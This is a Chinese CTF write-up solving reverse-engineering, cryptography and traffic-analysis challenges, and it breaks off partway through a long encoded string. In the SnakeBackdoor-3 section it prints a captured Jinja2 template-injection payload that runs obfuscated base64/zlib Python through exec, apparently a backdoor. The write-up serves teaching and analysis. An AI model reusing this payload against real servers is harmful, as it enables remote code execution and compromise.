re

1.wasm-login

提交格式为flag{时间戳正确时的check值}

在html源码尾部能找到以下代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
 simulateServerRequest(authData)
.then(response => {
if (response.success) {
// 登录成功
alert('登录成功!');
} else {
// 登录失败
showError(response.message || '登录失败,请重试');
}
})
.catch(error => {
console.error('登录错误:', error);
showError('网络错误,请稍后重试');
})
.......
// 模拟服务器请求
function simulateServerRequest(data) {
return new Promise(resolve => {
// 模拟网络延迟
setTimeout(() => {
// 实际应用中这里应该是真实的 API 请求
// 这里仅作演示,使用本地判断
const check = CryptoJS.MD5(JSON.stringify(data)).toString(CryptoJS.enc.Hex);
if (check.startsWith("ccaf33e3512e31f3")){
resolve({ success: true });
}else{
resolve({ success: false });
}
}, 1000);
});
}

....
<!-- 测试账号 admin 测试密码 admin-->

也就是说如果能找到某个时间戳使得 MD5(JSON.stringify(authData)) 的前 16 个 hex 为 ccaf33e3512e31f3,并输出当时的 完整 check

“某人本想在2025年12月第三个周末爆肝一个web安全登录demo”暗示了时间是12月第三个周末到下周一

这里写一个遍历代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
import { authenticate } from "./release.js";
import crypto from "node:crypto";

const PREFIX = "ccaf33e3512e31f3";

//时间范围是12-21到12-23
const start = new Date("2025-12-21T00:00:00.000+09:00").getTime();
const end = new Date("2025-12-23T00:00:00.000+09:00").getTime();

const realNow = Date.now;
console.log(`Start Brute-force...`);
console.log(`Range: ${start} -> ${end} (Total: ${(end - start).toLocaleString()} ms)`);

// 开始遍历
for (let t = start; t < end; t++) {

Date.now = () => t;

// 调用webassembly函数,获取返回的字符串,正确的账密
const authJson = authenticate("admin", "admin");

//按照题目要求算md5
const check = crypto.createHash("md5").update(authJson).digest("hex");
if (check.startsWith(PREFIX)) {
// 恢复时间函数,防止影响后续逻辑
Date.now = realNow;

console.log("\nFound Match!");
console.log("--------------------------------------------------");
console.log("Timestamp (ms) :", t);
// 使用 toLocaleString 以确保看到具体时间,并强制指定时区为 JST
console.log("JST Info :", new Date(t).toLocaleString("ja-JP", { timeZone: "Asia/Tokyo" }));
console.log("Hash :", check);
console.log("Auth Output :", authJson);
console.log("--------------------------------------------------");
process.exit(0);
}

Date.now = realNow;
console.log("\nNot found");

1
2
3
4
5
6
7
8
9
10
E:\CTF\比赛\ciscn25-长城杯\reverse\wasm-login>node ./1.mjs
Start Brute-force...
Range: 1766242800000 -> 1766502000000 (Total: 259,200,000 ms)
Found Match!
--------------------------------------------------
Timestamp (ms) : 1766334550699
JST Info : 2025/12/22 1:29:10
Hash : ccaf33e3512e31f36228f0b97ccbc8f1
Auth Output : {"username":"admin","password":"L0In602=","signature":"LxZiwA05Y9h7wX1CI0gUitOE2LBy9y8McoBqWgKIdDo="}
--------------------------------------------------

得到答案是:flag{ccaf33e3512e31f36228f0b97ccbc8f1}

2.babygame

先百度识图一下能找到很多用类似风格的自制小游戏

找到了编译软件GODOT,然后找到反编译软件https://github.com/GDRETools/gdsdecomp

导入软件之后分析

res://scripts/flag.gdc中找到了flag加密代码(包含明文和key):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
extends CenterContainer

@onready var flagTextEdit: Node = $PanelContainer / VBoxContainer / FlagTextEdit
@onready var label2: Node = $PanelContainer / VBoxContainer / Label2

static var key = "FanAglFanAglOoO!"
var data = ""

func _on_ready() -> void :
Flag.hide()

func get_key() -> String:
return key

func submit() -> void :
data = flagTextEdit.text

var aes = AESContext.new()
aes.start(AESContext.MODE_ECB_ENCRYPT, key.to_utf8_buffer())
var encrypted = aes.update(data.to_utf8_buffer())
aes.finish()

if encrypted.hex_encode() == "d458af702a680ae4d089ce32fc39945d":
label2.show()
else:
label2.hide()

func back() -> void :
get_tree().change_scene_to_file("res://scenes/menu.tscn")

res://scripts/game_manager.gdc发现他会把key中的A替换成B

1
2
3
4
5
6
7
8
9
10
11
12
extends Node

@onready var fan = $"../Fan"

var score = 0

func add_point():
score += 1
if score == 1:
Flag.key = Flag.key.replace("A", "B")
fan.visible = true

于是根据以上信息获取了key和密文和加密方式,解密即可

1
2
3
4
5
6
7
8
9
10
from Cryptodome.Cipher import AES

key = b"FanBglFanBglOoO!"
ciphertext = bytes.fromhex("d458af702a680ae4d089ce32fc39945d")
#ECB加密
cipher = AES.new(key, AES.MODE_ECB)
flag = cipher.decrypt(ciphertext)

print(f"解密结果 (String): {flag.decode('utf-8')}")

密码

1.ECDSA

基于 ECDSA的签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python3
from ecdsa import SigningKey, NIST521p
from hashlib import sha512
from Crypto.Util.number import long_to_bytes
import random
import binascii
import sys
#通过对字符串进行sha-512哈希计算
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")

curve_order = NIST521p.order
priv_int = digest_int % curve_order
priv_bytes = long_to_bytes(priv_int, 66)
sk = SigningKey.from_string(priv_bytes, curve=NIST521p)
vk = sk.verifying_key

#将生成的公钥以pem格式保存到文件public.pem中
f_pub = open("public.pem", "wb")
f_pub.write(vk.to_pem())
f_pub.close()

#nonce(i)函数生成伪随机数k(ECDSA 签名算法中的 k 值)
#它通过对字符串 "bias" 加上索引值 i 计算哈希值,再将哈希值转为整数
def nonce(i):
seed = sha512(b"bias" + bytes([i])).digest()
k = int.from_bytes(seed, "big")
return k


msgs = [b"message-" + bytes([i]) for i in range(60)]
sigs = []

for i, msg in enumerate(msgs):
k = nonce(i)
sig = sk.sign(msg, k=k)
sigs.append((binascii.hexlify(msg).decode(), binascii.hexlify(sig).decode()))
#保存
f_sig = open("signatures.txt", "w")
for m, s in sigs:
f_sig.write("%s:%s\n" % (m, s))
f_sig.close()

ECDSA使用椭圆曲线进行数字签名 , 使用私钥生成签名,签名包括两个值rs,本题有签名文件和公钥

首先,得到椭圆曲线的阶n

1
2
3
4
5
6
7
from ecdsa.curves import NIST521p
n=int(NIST521p.order)
print(hex(n))
print(n.bit_length())

#0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409
#521

以下是解题代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from hashlib import sha512,md5
from hmac import digest
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.hazmat.primitives import serialization
from ecdsa.curves import NIST521p

#定义阶
order = int("0x1fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffa51868783bf2f966b7fcc0148f709a5d03bb5c9b8899c47aebb6fb71e91386409"
,16)

#将整数转化为字节数组
def int_to_bytes_min(x:int) -> bytes:
if x==0:
return b'\x00'
return x.to_bytes((x.bit_length()+7)//8, "big")

SIG_FILE = r"E:\CTF\比赛\ciscn25-长城杯\crypto\ECDSA\signatures.txt"
PUB_FILE = r"E:\CTF\比赛\ciscn25-长城杯\crypto\ECDSA\public.pem"

def main():
with open(SIG_FILE,'r',encoding="utf-8") as f:
_ = f.read()
n= int(NIST521p.order)

#计算消息摘要并推导私钥
digest_int = int.from_bytes(sha512(b"Welcome to this challenge!").digest(), "big")
priv_int= digest_int % order

with open(PUB_FILE,'rb') as f:
pub_given = serialization.load_pem_public_key(f.read())
#推导公钥并验证
pub_derived = ec.derive_private_key(int(priv_int),ec.SECP521R1()).public_key()
assert pub_given.public_numbers() == pub_derived.public_numbers()
#这里是是试错
# flag = md5(d_bytes).hexdigest().upper()
# print(f"flag{(md5(d_bytes).hexdigest())}")
#计算私钥的MD5值
priv_bytes_min = int_to_bytes_min(priv_int)
print((md5(priv_bytes_min).hexdigest().upper()))

if __name__ == '__main__':
main()

补充:

1
2
3
4
5
6
7
8
9
10
11
12
13
曲线secp521r1能验证出的同一个私钥,对应的md5在不同“取私钥表示”的口径下会不同

按 task.py 的 66 字节定长私钥 bytes(long_to_bytes(d, 66))取 MD5:
flag{85d22caffd854b0726a98a2698527898}

按不定长(去前导 0)私钥 bytes(long_to_bytes(d))取 MD5:
flag{9b87af8095797a4b541880533147be86}

按私钥十六进制字符串,也就是无 0x、无前导 0,取 MD5:
flag{72f5d5635f251b6462bbc62f8b019d4c}

按私钥十进制字符串取 MD5:(最后这个对了)
flag{581bdf717b780c3cd8282e5a4d50f3a0}

2.EzFlag

分析一下main函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
int __fastcall main(int argc, const char argv, const char envp)
{
__int64 v3; // rax
__int64 v4; // rax
_QWORD v6[4]; // [rsp+0h] [rbp-50h] BYREF
_BYTE v7[12]; // [rsp+20h] [rbp-30h] BYREF
int v8; // [rsp+2Ch] [rbp-24h] BYREF
char v9; // [rsp+33h] [rbp-1Dh]
int j; // [rsp+34h] [rbp-1Ch]
unsigned __int64 i; // [rsp+38h] [rbp-18h]

std::string::basic_string(v6, argv, envp);

//首先输入(到v6)
std::operator<<<std::char_traits<char>>(&std::cout, "Enter password: ");
std::getline<char,std::char_traits<char>,std::allocator<char>>(&std::cin, v6);

//检查密码是否等于 "V3ryStr0ngp@ssw0rd"
if ( (unsigned __int8)std::operator!=<char>(v6, "V3ryStr0ngp@ssw0rd") )
{
v3 = std::operator<<<std::char_traits<char>>(&std::cout, "Wrong password!");
std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
}
else
{
std::operator<<<std::char_traits<char>>(&std::cout, "flag{");
std::ostream::flush((std::ostream *)&std::cout);
i = 1;
for ( j = 0; j <= 31; ++j )
{
v9 = f(i);
std::operator<<<std::char_traits<char>>(&std::cout, (unsigned int)v9);
std::ostream::flush((std::ostream *)&std::cout);
//在第8,12,17,22位后加"-",看得出来形式是UUID
if ( j == 7 || j == 12 || j == 17 || j == 22 )
{
std::operator<<<std::char_traits<char>>(&std::cout, "-");
std::ostream::flush((std::ostream *)&std::cout);
}

// i的递推公式
i *= 8LL;
i += j + 64;
v8 = 1;
std::chrono::duration<long,std::ratio<1l,1l>>::duration<int,void>(v7, &v8);
std::this_thread::sleep_for<long,std::ratio<1l,1l>>(v7);
}
v4 = std::operator<<<std::char_traits<char>>(&std::cout, "}");
std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
}
std::string::~string(v6);
return 0;
}

v9 = f(i);,追踪一下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
__int64 __fastcall f(unsigned __int64 i)
{
__int64 v2; // [rsp+10h] [rbp-20h]
unsigned __int64 j; // [rsp+18h] [rbp-18h]
__int64 v4; // [rsp+20h] [rbp-10h]
__int64 v5; // [rsp+28h] [rbp-8h]

v5 = 0;
v4 = 1;
for ( j = 0; j < i; ++j )
{
v2 = v4;
// 计算v4,两个字节相加并保留低4位
v4 = ((_BYTE)v5 + (_BYTE)v4) & 0xF;
v5 = v2;
}
return *(unsigned __int8 *)std::string::operator[](&K, v5);
}

所以该函数作用就是算斐波那契数列;这里追踪一下&K

所以能找到K的值:012ab9c3478d56ef

解题代码如下

先按照f(i)函数解出v5序列

1
2
3
4
5
6
7
8
9
10
v5_seq = [0]
for i in range(59):
v2 = v4
# 保留低 4 位
v4 = (v5 + v4) & 0xF
v5 = v2
v5_seq.append(v5)
print(v5_seq)

#[0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9, 0, 9, 9, 2, 11, 13, 8, 5, 13, 2, 15, 1, 0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9, 0, 9, 9, 2, 11, 13, 8, 5, 13, 2, 15, 1, 0, 1, 1, 2, 3, 5, 8, 13, 5, 2, 7, 9]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
K = "012ab9c3478d56ef"
v5_seq = [0,1,1,2,3,5,8,13,5,2,7,9,0,9,9,2,11,13,8,5,13,2,15,1,0,1,1,2,3,5,8,13,5,2,7,9,0,9,9,2,11,13,8,5,13,2,15,1,0,1,1,2,3,5,8,13,5,2,7,9]

flag = "flag{"
i = 1

for j in range(32):
idx = v5_seq[i % 60]
flag += K[idx]

if j in [7, 12, 17, 22]:
flag += "-"

i = i * 8 + j + 64

flag += "}"
print(flag)

得出flag:flag{10632674-1d219-09f29-14769-f60219a24}

3.RSA_NestingDoll

流量分析

1.SnakeBackdoor-1

http.response.code==302后直接追踪流

2.SnakeBackdoor-2

直接搜

3.SnakeBackdoor-3

先用CTFNetA蚁剑来了分析,结果如下:

1
{{url_for.__globals__['__builtins__']['exec']("import base64; exec(base64.b64decode('XyA9IGxhbWJkYSBfXyA6IF9faW1wb3J0X18oJ3psaWInKS5kZWNvbXByZXNzKF9faW1wb3J0X18oJ2Jhc2U2NCcpLmI2NGRlY29kZShfX1s6Oi0xXSkpOwpleGVjKChfKShiJz1jNENVM3hQKy8vdlB6ZnR2OGdyaTYzNWEwVDFyUXZNbEtHaTNpaUJ3dm02VEZFdmFoZlFFMlBFajdGT2NjVElQSThUR3FaTUMrbDlBb1lZR2VHVUFNY2Fyd1NpVHZCQ3YzN3lzK04xODVOb2NmbWpFL2ZPSGVpNE9uZTBDTDVUWndKb3BFbEp4THI5VkZYdlJsb2E1UXZyamlUUUtlRytTR2J5Wm0rNXpUay9WM25aMEc2TmVhcDdIdDZudSthY3hxc3Ivc2djNlJlRUZ4ZkVlMnAzMFlibXl5aXMzdWFWMXArQWowaUZ2cnRTc01Va2hKVzlWOVMvdE8rMC82OGdmeUtNL3lFOWhmNlM5ZUNEZFFwU3lMbktrRGlRazk3VFV1S0RQc09SM3BRbGRCL1VydmJ0YzRXQTFELzljdFpBV2NKK2pISkwxaytOcEN5dktHVmh4SDhETEw3bHZ1K3c5SW5VLzl6dDFzWC9Uc1VSVjdWMHhFWFpOU2xsWk1acjFrY0xKaFplQjhXNTl5bXhxZ3FYSkpZV0ppMm45NmhLdFNhMmRhYi9GMHhCdVJpWmJUWEZJRm1ENmtuR3ovb1B4ZVBUenVqUHE1SVd0OE5abXZ5TTVYRGcvTDhKVS9tQzRQU3ZYQStncWV1RHhMQ2x6Uk5ESEpVbXZ0a2FMYkp2YlpjU2c3VGdtN1VTZUpXa0NRb2pTaStJTklFajVjTjErRkZncEtSWG40Z1I5eXAzL1Y3OVduU2VFRklPNkM0aGNKYzRtd3BrKzA5dDF5dWU0K21BbGJobHhuWE0xUGZrK3NHQm1hVUZFMWtFak9wbmZHbnFzVithdU9xakpnY0RzaXZJZCt3SFBIYXp0NU1WczRySFJoWUJPQjZ5WGp1R1liRkhpM1hLV2hiN0FmTVZ2aHg3RjlhUGpObUlpR3FCVS9oUkZVdU1xQkNHK1ZWVVZBYmQ1cEZEVFpKM1A4d1V5bTZRQUFZUXZ4RytaSkRSU1F5cE9oWEsvTDRlRkZ0RXppdWZaUFN5cllQSldKbEFRc0RPK2RsaTQ2Y24xdTVBNUh5cWZuNHZ3N3pTcWUrVlVRL1JpL0tudjBwUW9XSDFkOWRHSndEZnFtZ3ZuS2krZ05SdWdjZlVqRzczVjZzL3RpaGx0OEIyM0t2bUp6cWlMUHptdWhyMFJGVUpLWmpHYTczaUxYVDRPdmxoTFJhU2JUVDR0cS9TQ2t0R1J5akxWbVNqMmtyMEdTc3FUamxMMmw2Yy9jWEtXalJNdDFrTUNtQ0NUVithSmU0bnB2b0I5OU9NbktuWlI0WXM1MjZtVEZUb1N3YTVqbXhCbWtSWUNtQTgyR0ZLN2FrNmJJUlRmRE1zV0dzWnZBRVh2M1BmdjVOUnpjSUZOTzN0YlFrZUIvTElWT1c1TGZBa21SNjgvNnpyTDBEWm9QanpGWkk1VkxmcTBydjlDd1VlSmtSM1BIY3VqKytkL2xPdms4L2gzSHpTZ1lUR0N3bDF1ano4aDRvVWlQeUdUNzROamJZN2ZKOHZVSHFOeitaVmZPdFZ3L3ozUk11cVNVekVBS3JqY1UyRE5RZWhCMG9ZN3hJbE9UOXU5QlQ0Uk9vREZvKzVaRjZ6Vm9IQTRlSWNrWFVPUDN5cFF2NXBFWUcrMHBXNE15SG1BUWZzT2FXeU1kZk1vcWJ3L005b0ltZEdLZEt5MVdxM2FxK3QreHV5VmROQVFNaG9XMkE3elF6b2I4WEdBM0c4VnVvS0hHT2NjMjVIQ2IvRlllU3hkd3lJZWRBeGtsTExZTUJIb2pUU3BEMWRFeG96ZGk4OUdpa2h6MzMwNW5kVG1FQ3YwWm9VT0hhY25xdFVVaEpseTdWZ3ZYK0psYXdBWTlvck5QVW1aTTdRS2JkT2tUZi9vOGFRbFM1RmUveFFrT01KR200TlhxTGVoaVJJYjkyNXNUZlZ4d29OZlA1djFNR2xhcllNaWZIbDJyRXA1QzcxaXBGanBBR2FFcDluUmowSmdFYTRsU1R1WWVWWHdxYlpRVDNPZlF2Z3QvYkhKbEFndXFTV3lzR2hxaElUSllNNlQxMG03MUppd2ZRSDVpTFhINVhiRms1M1FHY0cyY0FuRnJXeTcweEV2YWJtZjB1MGlrUXdwVTJzY1A4TG9FYS9DbEpuUFN1V3dpY01rVkxya1pHcW5CdmJrNkpUZzdIblQwdkdVY1Y2a2ZmSUw2Q0szYkUxRnkwUjZzbCtVUG9ZdmprZ1NJM1ViZkQ2N2JSeEl4ZWdCcFlUenlDRHpQeXRTRSthNzdzZHhzZ2hMcFVDNWh4ejRaZVhkeUlyYm1oQXFRdzVlRW5CdUFTRTVxVE1Ka1RwLy9oa3krZFQycGNpT0JZbi9BQ1NMeHByTFowQXkxK3pobCtYeVY5V0ZMNE5nQm9IMzRidmt4SDM2bmN0c3pvcFdHUHlkMTRSaVM0ZDBFcU5vY3F2dFd1M1l4a05nUCs4Zk0vZC9CMGlreEt4aC9HamttUVhhU1gvQis0MFU0YmZTYnNFSnBWT3NUSFR5NnUwTnI2N1N3N0J2Und1VnZmVDAvOGo3M2dZSEJPMmZHU0lKNDdBcllWbTIrTHpSVDBpSDVqN3lWUm1wdGNuQW44S2t4SjYzV0JHYjd1M2JkK0QrM3lsbm0xaDRBUjdNR042cjZMeHBqTmxBWDExd2EvWEIxek44Y1dVTm5DM1ZjemZ3VUV3UGZpNWR5bzluRUM1V085VW03OFdLUnJtM2M0OEl2VFVoZ2ROZVFFRG9zSWZoTVNtaWtFbHVRWDhMY0NSY0s5ZVVUODVidnI1SjVyekViK0R1aUdZeURGRzdQWmVmdkliM3czM3UycTh6bHhsdFdDU3RjNU80cThpV3JWSTd0YVpIeG93VHc1ekpnOVRkaEJaK2ZRclF0YzB5ZHJCbHZBbG5ZMTB2RUNuRlVCQSt5MWxXc1ZuOGNLeFVqVGRhdGk0QUYzaU0vS3VFdFE2Wm44Ykk0TFl3TWxHbkNBMVJHODhKOWw3RzRkSnpzV3I5eE9pRDhpTUkyTjFlWmQvUVV5NDNZc0lMV3g4MHlpQ3h6K0c0YlhmMnFOUkZ2Tk9hd1BTbnJwdjZRMG9GRVpvamx1UHg3Y09VMjdiQWJncHdUS28wVlV5SDZHNCt5c3ZpUXpVN1NSZDUxTEdHM1U2Y1QwWURpZFFtejJld3Ria2tLY0dWY1N5WU9lQ2xWNkNSejZiZEYvR20zVDIrUTkxNC9sa1piS3gxOVduWDc4cit4dzZicGp6V0xyMEUxZ2puS0NWeFcwWFNud2UraUc5ZGtHOG5DRmZqVWxoZFRhUzFnSjdMRnNtVWpuOHUvdlJRYlJMdy95NjZJcnIveW5LT0N6Uk9jZ3JuREZ4SDN6M0pUUVFwVGlEcGV5elJzRjRTbkdCTXY1SGJyK2NLNllUYTRNSWJmemo1VGkzRk1nSk5xZ0s1WGs5aHNpbEdzVTZ0VWJucDZTS2lKaFV2SjhicXluVU1Fem5kbCtTK09WUkNhSDJpSmw4VTNXanlCNjhScTRIQVRrL2NLN0xrSkhITWpDM1c3ZFRtT0JwZm9XTVZFTGFMK1JrcVdZdjBDcFc1cUVOTGxuT1BCckdhR05lSVphaHpibnJ1RVBJSVhHa0d6MWZFNWQ0Mk1hS1pzQ1VZdDF4WGlhaTkrY2JLR2ovZDBsSUNxN3VjN2JSaEVCeDQ2RHlCWFR6MWdmSm5UMnVyNng0QXZiNXdZMnBjWXJjRDJPUjZBaWtNdm0yYzBiaGFiSkI2bzBEaE9OSjRsQ3htS2RHQnp1d3J0czF1MEQyeXVvMzd5TExmc0dEdXllcE53OGx5VE5jMm55aENWQmZXMjNEbkJRbVdjMVFMQ29ScHBWaGpLWHdPcE9ES084UjhZSG5RTStyTGs2RU9hYkNkR0s1N2lSek1jVDN3YzQzNmtWbUhYRGNJMFpzWUdZNWFJQzVEYmRXalV0Mlp1VTBMbXVMd3pDVFM5OXpoT29POERLTnFiSzRiSU5MeUFJMlg5Mjh4aWIraG1JT3FwM29TZ0MyUGRGYzh5cXRoTjlTNTVvbXRleDJ4a0VlOENZNDhDNno0SnRxVnRxaFBRV1E4a3RlNnhsZXBpVllDcUliRTJWZzRmTi8vTC9mZi91Ly85cDRMejd1cTQ2eVdlbmtKL3g5MGovNW1FSW9yczVNY1N1Rmk5ZHlneXlSNXdKZnVxR2hPZnNWVndKZScpKQ=='))", {'request':url_for.__globals__['request'],'app':get_flashed_messages.__globals__['current_app']})}}

把当中的base64加密的内容解密

1
2
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));
exec((_)(b'=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'))

=c4CU....一看就是base64倒过来了,结合前缀zlib信息,于是把中间部分抽出来再用zlib.decompress解密

1
exec((_)(b'==ANMfnYB8/33n//W1a4PQ9Z8oOy5kofSiv5UkiHAQ6NYkkfxx/zc77i83YgXIfMH7+ADWLICqAKM1A4BG/XAFUjIQNXPgeZk9FecsYRJb59+baVWUyd1htTWjMOOjDe6sQbE/YVCRiXpdtJuqjuA9e9u3Uop5v/9lRboI0i8PbNtQegPUzUc2KoJ3ZqNm1FLGd/ylie7leXKTcZ3L1v+Glf61uGjpe/irAFBRRgjyZt591Xb95jtxODeROxMlt/D+GF6RRHKf+ejR4WpINW3aw1sD2ByIPGcHZ0E30G7w0zCF9nkYnn+PR45D0OusUSkXfxJ0h+TdfJcmrzl/jVQRAjIWIzj9ltUuqQKAASiOWNb4SjI+0m/5KghkRgHHxQ/JfttCtFMkj/VFZN3K85GY8HW+JN7bxd2VENFKkE385uIB+SQme6GXcsOmh+HrchQ6IOxbZdvI0UBuDdmgwyRtcK+zF1PxuILAPqYx6NWp6+gLRpvD0Ou0CYrtPUy2bFHFfpmOKJtQkh0idPwJPm23YJrIpBWy87Y5tUftQVWv1IUfCvKGsVMO4dVd9ty12WbT6vzkg+/xp02+e6uQMo3E3tKmsTcio1j81LmP/nq6DmT7oDX++Jrgj4xye3VJNADHAY2wXUC6ey9yuGEBjnWks4elOKlddWb4LNtHq0dIKLrdsoygUDJtud7NVKx9dk1FvZb30C/8Q75OY16qH96FpT511y3X7P3gLij2KicxYvQFSxtLIKj7oOW80OMNqmZCeHHYQrwWjl2HoTzVI1hODJ1X43sVeC3rSN2wvyA4xekXTgk/oJJeDO14PBkXoJDhFteKb08STIFVDdOe+xQESxhsw4/EI9qQFAjiCFMYHy4wpLr2oMv0v4Ywt1RbfgWKV+XmwZJ+1n8WhWWiyMLgt7GKOaXY9e1L4dnIQT3NdqwaxWsBPqYXzDA62YoT6rafbBGq39CqiM9Y0EzAVzKNgC3rkklyF2R/EPUOTCK/g5qwJyb9kpcDnpNp7fW7a9